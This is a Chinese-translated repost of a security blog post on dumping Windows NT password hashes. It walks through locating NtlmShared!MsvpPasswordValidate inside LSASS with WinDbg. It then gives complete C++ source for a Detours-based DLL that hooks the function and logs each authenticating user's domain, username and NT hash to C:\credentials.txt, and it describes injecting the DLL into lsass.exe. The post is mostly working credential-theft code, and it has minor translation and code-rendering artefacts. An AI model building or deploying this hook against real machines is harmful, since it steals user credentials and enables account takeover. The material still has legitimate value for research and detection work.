这是我前段时间在 Gitbook 上发布的分析的转贴。MsvpPasswordValidate
基本上,当您在 Windows 上以任何本地用户身份进行身份验证时,LSASS 通过NtlmShared.dll 导出的函数检查该用户的 NT 哈希与提供的密码的 NT 哈希。如果你钩住MsvpPasswordValidate
你可以在不接触 SAM 的情况下提取这个散列。当然,要在 LSASS 中挂钩此功能,您需要管理员权限。从技术上讲,它也适用于至少登录过一次机器的域用户,但生成的哈希不是 NT 哈希,而是 MSCACHEv2 哈希。
为此,我启动了一个 Windows 10 20H2 虚拟机,将其设置为内核调试,并通过 WinDbg 在 MsvpPasswordValidate(NtlmShared.dll 库的一部分)开始时在 lsass.exe 中设置断点。但首先你必须使用以下命令找到 LSASS 的 _EPROCESS 地址:
代码语言:javascript复制!process 0 0 lsass.exe
找到_EPROCESS
地址后,我们必须将 WinDbg 的上下文切换到目标进程(您的地址将不同):
.process /i /p /r ffff8c05c70bc080
请记住g
在最后一个命令之后使用该命令以使切换真正发生。现在我们处于 LSASS 的上下文中,我们可以将用户模式符号加载到调试器中,因为我们处于内核调试中,然后在以下位置放置一个断点NtlmShared!MsvpPasswordValidate
:
.reload /user
bp NtlmShared!MsvpPasswordValidate
bl
我们可以使用以下命令确保我们的断点已设置:
然而,在我们继续之前,我们需要知道要寻找什么。MsvpPasswordValidate
是一个未记录的函数,这意味着我们不会在 MSDN 上找到它的定义。在 interwebz 上到处寻找,我设法在多个网站上找到它,所以这里是:
BOOLEAN __stdcall MsvpPasswordValidate (
BOOLEAN UasCompatibilityRequired,
NETLOGON_LOGON_INFO_CLASS LogonLevel,
PVOID LogonInformation,
PUSER_INTERNAL1_INFORMATION Passwords,
PULONG UserFlags,
PUSER_SESSION_KEY UserSessionKey,
PLM_SESSION_KEY LmSessionKey
);
我们正在寻找的是第四个参数。“密码”参数的类型是PUSER_INTERNAL1_INFORMATION
。这是一个指向SAMPR_USER_INTERNAL1_INFORMATION
结构的指针,它的第一个成员是我们正在寻找的 NT 哈希:
typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
unsigned char NtPasswordPresent;
unsigned char LmPasswordPresent;
unsigned char PasswordExpired;
} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;
由于MsvpPasswordValidate
使用stdcall
调用约定,我们知道 Passwords 参数将存储到 R9 寄存器中,因此我们可以通过取消引用该寄存器的内容来获得实际结构。有了这条信息,我们g
再次在调试器中键入并尝试通过 runas 命令登录:
我们的虚拟机就在那里冻结了,因为我们遇到了我们之前设置的断点:
现在我们的 CPU 位于我们想要的位置,我们可以检查 R9 的内容:
代码语言:javascript复制db @r9
这绝对看起来像一个哈希!我们知道我们的测试用户使用“antani”作为密码,它的 NT 哈希是1AC1DBF66CA25FD4B5708E873E211F06
,所以提取的值是正确的。
编写 DLL
现在我们已经验证了 FuzzySec 的提示,我们可以继续编写我们自己的密码转储实用程序。我们将编写一个自定义 DLL,它将挂钩MsvpPasswordValidate
、提取哈希并将其写入磁盘。这个 DLL 将被称为 HppDLL,因为我将把它集成到一个我已经制作(并且我迟早会发布)的工具中,称为 HashPlusPlus(简称 HPP)。我们将使用 Microsoft Detours 来执行挂钩操作,在处理 LSASS 等关键进程时最好不要使用手动挂钩,因为崩溃将不可避免地导致重新启动。我不会详细介绍如何编译和设置 Detours,它非常简单,我将在 HppDLL 的存储库中包含一个已编译的 Detours 库。这里的想法是让 DLL 在执行流到达后立即劫持执行流MsvpPasswordValidate
,跳转到我们将调用的流氓例程,该例程HookMSVPPValidate
将负责提取凭据。完成后,HookMSVPPValidate
将返回合法MsvpPasswordValidate
并透明地为调用进程继续执行流程。复杂的?其实没有那么多。
Hppdll.h
我们首先编写头文件,所有代码段将包括:
代码语言:javascript复制#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN
// uncomment the following definition to enable debug logging to c:debug.txt
#define DEBUG_BUILD
#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"
// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif
// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
class Library
{
public:
Library(std::wstring input);
~Library();
HMODULE GetHandle();
private:
HMODULE _libraryHandle;
};
class Handle
{
public:
Handle(HANDLE input);
~Handle();
HANDLE GetHandle();
private:
HANDLE _handle;
};
}
//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();
// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;
// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
BOOLEAN UasCompatibilityRequired,
NETLOGON_LOGON_INFO_CLASS LogonLevel,
PVOID LogonInformation,
void* Passwords,
PULONG UserFlags,
PUSER_SESSION_KEY UserSessionKey,
PVOID LmSessionKey
);
此标头包括各种 Windows 标头,这些标头定义了MsvpPasswordValidate
. 您可以看到我不得不稍微修改MsvpPasswordValidate
函数定义,因为我找不到定义的头文件PUSER_INTERNAL1_INFORMATION
,因此我们将其视为普通的 void 指针。我还定义了两个例程InstallHook
和RemoveHook
,它们将处理注入我们的钩子并在之后清理它。我还声明了一个RAII
命名空间,它将包含RAII
类,以确保库和其他东西的句柄一旦超出范围(耶 C )就会被正确关闭。我还定义了一个pMsvpPasswordValidate
类型,我们将使用它GetProcAddress
来正确解析然后调用MsvpPasswordValidate
. 由于MsvpPasswordValidate
指针需要是全局的,我们也将它外部化。
DLLMain.cpp
DllMain.cpp 文件包含DllMain
函数的定义和声明,负责加载或卸载 DLL 时将执行的所有操作:
#include "pch.h"
#include "hppdll.h"
pMsvpPasswordValidate MsvpPasswordValidate = nullptr;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
return InstallHook();
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
return RemoveHook();
}
return TRUE;
}
从上到下,我们包含pch.h
以启用预编译头文件并加速编译,并hppdll.h
包含我们之前定义的所有类型和函数。我们还设置nullptr
了MsvpPasswordValidate
函数指针,稍后将由InstallHook
函数填充实际的地址MsvpPasswordValidate
。您可以看到InstallHook
在加载 DLL 时RemoveHook
调用它,并在卸载 DLL 时调用它。
安装钩子.cpp
InstallHook 是负责实际注入我们的钩子的函数:
代码语言:javascript复制#include "pch.h"
#include "hppdll.h"
bool InstallHook()
{
DEBUG("InstallHook called!");
// get a handle on NtlmShared.dll
RAII::Library ntlmShared(L"NtlmShared.dll");
if (ntlmShared.GetHandle() == nullptr)
{
DEBUG("Couldn't get a handle to NtlmShared");
return false;
}
// get MsvpPasswordValidate address
MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
if (MsvpPasswordValidate == nullptr)
{
DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
return false;
}
DetourTransactionBegin();
DetourUpdateThread(::GetCurrentThread());
DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
LONG error = DetourTransactionCommit();
if (error != NO_ERROR)
{
DEBUG("Failed to hook MsvpPasswordValidate");
return false;
}
else
{
DEBUG("Hook installed successfully");
return true;
}
}
它首先在第 9 行获取到 NtlmShared DLL 的句柄。在第 17 行,开头的地址MsvpPasswordValidate
通过 using 解析GetProcAddress
,将 NtlmShared 的句柄和包含函数名称的字符串传递给它。在第 24 到 27 行,Detours 发挥了它的魔力,并MsvpPasswordValidate
用我们的流氓HookMSVPPValidate
函数代替。如果钩子安装正确,则InstallHook
返回 true。您可能已经注意到我使用DEBUG
宏来打印调试信息。C:debug.txt
如果DEBUG_BUILD
宏定义在 中,则此宏使用条件编译写入hppdll.h
,否则不执行任何操作。
HookMSVPPValidate.cpp
这是 DLL 中最重要的部分,即负责从内存中提取凭据的例程。
代码语言:javascript复制#include "pch.h"
#include "hppdll.h"
BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
DEBUG("Hook called!");
// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;
// write to C:credentials.txt the domain, username and NT hash of the target user
std::wofstream credentialFile;
credentialFile.open("C:\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
std::wstring username;
// LogonIdentity->Username.Buffer contains more stuff than the username
// so we only get the username by iterating on it only Length/2 times
// (Length is expressed in bytes, unicode strings take two bytes per character)
for (int i = 0; i < logonIdentity->UserName.Length/2; i )
{
username = logonIdentity->UserName.Buffer[i];
}
credentialFile << L"Username: " << username << std::endl;
credentialFile << L"NTHash: ";
for (int i = 0; i < 16; i )
{
unsigned char hashByte = ((unsigned char*)Passwords)[i];
credentialFile << std::hex << hashByte;
}
credentialFile << std::endl;
credentialFile.close();
DEBUG("Hook successfully called!");
return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}
我们希望我们的输出文件包含有关用户的信息(如用户名和机器名称)和他的 NT 哈希。为此,我们首先将第三个参数 ,LogonIdentity
转换为指向NETLOGON_LOGON_IDENTITY_INFO
结构的指针。从中我们提取logonIdentity->LogonDomainName.Buffer
包含本地域的字段(因为它是本地帐户,所以机器主机名)。这发生在第 8 行。在第 13 行,我们将提取的本地域名写入输出文件,即C:credentials.txt
. 作为旁注,LogonDomainName
是一个UNICODE_STRING
结构,定义如下:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
从第 19 行到第 22 行,我们迭代了很多logonIdentity->Username.Buffer
次logonIdentity->Username.Length/2
。我们必须这样做,而不是像处理域那样直接复制粘贴缓冲区的内容,因为这个缓冲区包含用户名和其他垃圾。该Length
字段告诉我们用户名在哪里结束,垃圾从哪里开始。由于缓冲区包含 unicode 数据,它保存的每个字符实际上占用 2 个字节,因此我们需要对其进行一半的迭代。从第 25 行到第 29 行,我们继续复制Passwords
结构保存的前 16 个字节(其中包含我们之前看到的实际 NT 哈希)并将它们写入输出文件。最后,我们继续调用实际MsvpPasswordValidate
并在第 34 行返回其返回值,以便身份验证过程可以继续畅通无阻。
删除钩子.cpp
我们要看的最后一个函数是 RemoveHook 函数。
代码语言:javascript复制#include "pch.h"
#include "hppdll.h"
bool RemoveHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
auto error = DetourTransactionCommit();
if (error != NO_ERROR)
{
DEBUG("Failed to unhook MsvpPasswordValidate");
return false;
}
else
{
DEBUG("Hook removed!");
return true;
}
}
这个功能也依赖于 Detours 魔法。如您所见,第 6 到 9 行与InstallHook
注入钩子时调用的非常相似,唯一的区别是我们使用的是DetourDetach
函数而不是函数DetourAttach
。
试驾!
好的,现在一切准备就绪,我们可以继续编译 DLL 并将其注入 LSASS。对于快速原型设计,我使用 Process Hacker 进行注入。
有用!这次我尝试以用户“last”的身份进行身份验证,其密码是尴尬的“last”。您可以看到,即使为用户输入了错误的密码,真正的密码哈希也已写入C:credentials
. 就是这样,这是一次愉快的旅程。您可以在我的 GitHub 上找到 HppDLL 的完整代码。